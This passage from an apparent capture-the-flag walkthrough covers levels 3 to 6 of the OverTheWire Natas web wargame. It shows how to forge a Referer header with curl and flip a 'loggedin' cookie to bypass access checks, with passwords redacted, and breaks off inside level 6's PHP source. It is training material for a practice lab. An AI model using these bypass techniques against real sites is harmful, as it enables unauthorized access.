&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;3_s3cr3t.png&quot; alt=&quot;level 3 secret file&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;View the &lt;code&gt;users.txt&lt;&#x2F;code&gt; file for the password to the next level.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Looking at the &lt;code&gt;robots.txt&lt;&#x2F;code&gt; is a common step taken by attackers when performing
reconnaissance on a web application since it can sometimes reveal locations
that the developers have deemed sensitive enough to exclude from search
indexing.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-4&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-4&quot; aria-label=&quot;Anchor link for: level-4&quot;&gt;Level 4&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Level 4 is the first challenge we’ve seen that can’t simply be solved by
examining the page source or navigating to some specific endpoint.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;4_hint.png&quot; alt=&quot;level 4 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If you aren’t familiar with HTTP, there are some excellent &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&quot;&gt;guides on
HTTP&lt;&#x2F;a&gt; available in the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;&quot;&gt;MDN
Web Docs&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Essentially every&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-3-1&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; request by the browser uses HTTP. Fortunately the dev
tools have a convenient interface for examining the HTTP requests made by the
browser. These requests can be viewed in the Network tab of the browser dev
tools. There’s a bunch of cool stuff you can do with the network tab, but for
this challenge we’re only interested in that highlighted request to &lt;code&gt;index.php&lt;&#x2F;code&gt;,
which is the home page for level 4.&lt;&#x2F;p&gt;
&lt;p&gt;Here’s the network tab after loading the level 4 home page.
&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;4_dev_tools_network.png&quot; alt=&quot;level 4 dev tools network tab&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Click on that &lt;code&gt;index.php&lt;&#x2F;code&gt; to view more information about the request like the
request’s headers.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;4_network_index_php.png&quot; alt=&quot;level 4 network tab index.php&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The message on the home page hints that authorized users “come from” the URL
&lt;code&gt;http:&#x2F;&#x2F;natas5.natas.labs.overthewire.org&#x2F;&lt;&#x2F;code&gt;. The key is recognizing that there
is an HTTP header that’s used to convey this information from the client to the
web server.&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, at the time of this writing, the request headers can’t be easily
edited in the browser. Instead we’ll need to use another tool to craft an HTTP
request with the appropriate header to convince the web server that we’re a user
from &lt;code&gt;http:&#x2F;&#x2F;natas5.natas.labs.overthewire.org&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This is where knowledge of HTTP is essential, because you have to recognize
that we’re looking for the Referer&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-4-1&quot;&gt;&lt;a href=&quot;#fn-4&quot;&gt;4&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; HTTP header which is used to indicate the
source of a request.&lt;&#x2F;p&gt;
&lt;p&gt;As I mentioned before, the browser doesn’t allow for modifying request headers,
so we’ll need to use a different tool. The simplest will be to use a command
line tool like &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;curl.se&quot;&gt;curl&lt;&#x2F;a&gt;, though a web proxy like ZAP or Burp
Suite will work just as well.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;curl&lt;&#x2F;code&gt; is a program for transferring data to or from a server using URLs. We’ll
just be using it with HTTP, but it supports other protocols too. If you’d like
to dig into the capabilities of curl, I’d recommend reading through the
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;everything.curl.dev&quot;&gt;Everything curl&lt;&#x2F;a&gt; guide, but, if you’re in a
hurry, the browser dev tools have a convenient feature to construct a web
request in the curl format from the Network tab.&lt;&#x2F;p&gt;
&lt;p&gt;Just right-click on the request and click “Copy as cURL” under the “Copy”
menu.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;4_copy_as_curl.png&quot; alt=&quot;level 4 copy as curl&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Paste the command into the terminal or a text editor and it should look
something like this.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;curl &amp;#39;http:&#x2F;&#x2F;natas4.natas.labs.overthewire.org&#x2F;index.php&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Accept-Language: en-US,en;q=0.9&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Authorization: Basic [REDACTED]&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Cache-Control: no-cache&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Connection: keep-alive&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Pragma: no-cache&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  --insecure&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Each argument to the &lt;code&gt;-H&lt;&#x2F;code&gt; flag is an HTTP header. Now, just add an argument for
the Referer header with the correct value as mentioned in the message on the
home page.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;curl &amp;#39;http:&#x2F;&#x2F;natas4.natas.labs.overthewire.org&#x2F;index.php&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Accept-Language: en-US,en;q=0.9&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Authorization: Basic [REDACTED]&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Cache-Control: no-cache&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Connection: keep-alive&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Pragma: no-cache&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;  -H &amp;#39;Referer: http:&#x2F;&#x2F;natas5.natas.labs.overthewire.org&#x2F;&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  --insecure&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Be sure to keep the original &lt;code&gt;Authorization&lt;&#x2F;code&gt; header from your own HTTP request.
It’s required to handle the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;HTTP&#x2F;Authentication#the_general_http_authentication_framework&quot;&gt;Basic
authentication&lt;&#x2F;a&gt;
that was previously handled by the browser.&lt;&#x2F;p&gt;
&lt;p&gt;Alternatively you can provide the credentials with the &lt;code&gt;-u&lt;&#x2F;code&gt; flag like so.
Replacing &lt;code&gt;REDACTED&lt;&#x2F;code&gt; with the level 4 password you used to access this level.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;curl -H &amp;#39;Referer: http:&#x2F;&#x2F;natas5.natas.labs.overthewire.org&#x2F;&amp;#39; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;     -u natas4:REDACTED \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;     http:&#x2F;&#x2F;natas4.natas.labs.overthewire.org&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;curl&lt;&#x2F;code&gt; response should contain the following body with the password to the
next level.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;natas4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;content&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Access granted. The password for natas5 is [REDACTED]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;br&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; id&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;viewsource&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8992A7);&quot;&gt; href&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;index.php&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;Refresh page&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);font-weight: bold;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #9E9B93);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;HTTP headers are useful for a lot of things, but be cautious. Using them
incorrectly for authentication as the &lt;code&gt;Referer&lt;&#x2F;code&gt; header is used in this
challenge can lead to &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;cheatsheetseries.owasp.org&#x2F;cheatsheets&#x2F;HTTP_Headers_Cheat_Sheet.html&quot;&gt;all
kinds&lt;&#x2F;a&gt;
of security vulnerabilities.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-5&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-5&quot; aria-label=&quot;Anchor link for: level-5&quot;&gt;Level 5&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;The level 5 message is a bit more cryptic than the previous levels, but it does
give us a place to start.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;5_hint.png&quot; alt=&quot;level 5 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;First identify what mechanisms may be used for tracking the login state
of a user. &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Stateless_protocol&quot;&gt;Stateless
protocols&lt;&#x2F;a&gt; like HTTP cannot
retain session state between requests and must instead work around that
limitation with some kind of session management mechanism. In the case of HTTP
this is most often handled with &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;HTTP_cookie&quot;&gt;HTTP
cookies&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Under the Application tab of the browser dev tools you should find a list of
storage options available to the browser, including any HTTP cookies.&lt;&#x2F;p&gt;
&lt;p&gt;In this case there’s a single cookie labeled &lt;code&gt;loggedin&lt;&#x2F;code&gt; from the &lt;code&gt;natas5&lt;&#x2F;code&gt;
domain. It’s set to &lt;code&gt;0&lt;&#x2F;code&gt;. Try changing the value to &lt;code&gt;1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;5_cookie1.png&quot; alt=&quot;level 5 cookie&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Reloading the page should yield a message of “Access granted” with the password
to the next level.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;5_password.png&quot; alt=&quot;level 5 password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-tip&quot;&gt;
&lt;p&gt;Cookies can, in fact, be used for secure session management. But not like this.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;level-6&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-6&quot; aria-label=&quot;Anchor link for: level-6&quot;&gt;Level 6&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This level doesn’t give any message. Just an input form and a link to “View
sourcecode”&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-natas&#x2F;6_hint_source_button.png&quot; alt=&quot;level 6 hint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The “View sourcecode” link doesn’t show the client-side source. It actually
shows the code as it exists on the server.&lt;&#x2F;p&gt;
&lt;p&gt;The critical section below shows how PHP will render the page based on &lt;code&gt;secret&lt;&#x2F;code&gt;
POST parameter which is set by the form and checked against the &lt;code&gt;$secret&lt;&#x2F;code&gt;
variable.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;?&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #B6927B);&quot;&gt;include&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;includes&#x2F;secret.inc&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;array_key_exists&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;submit&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;_POST&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 6&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Access granted. The password for natas7 is &amp;lt;censored&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8992A7);&quot;&gt; else&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#3C3836, #8BA4B0);&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Wrong secret&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 9&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
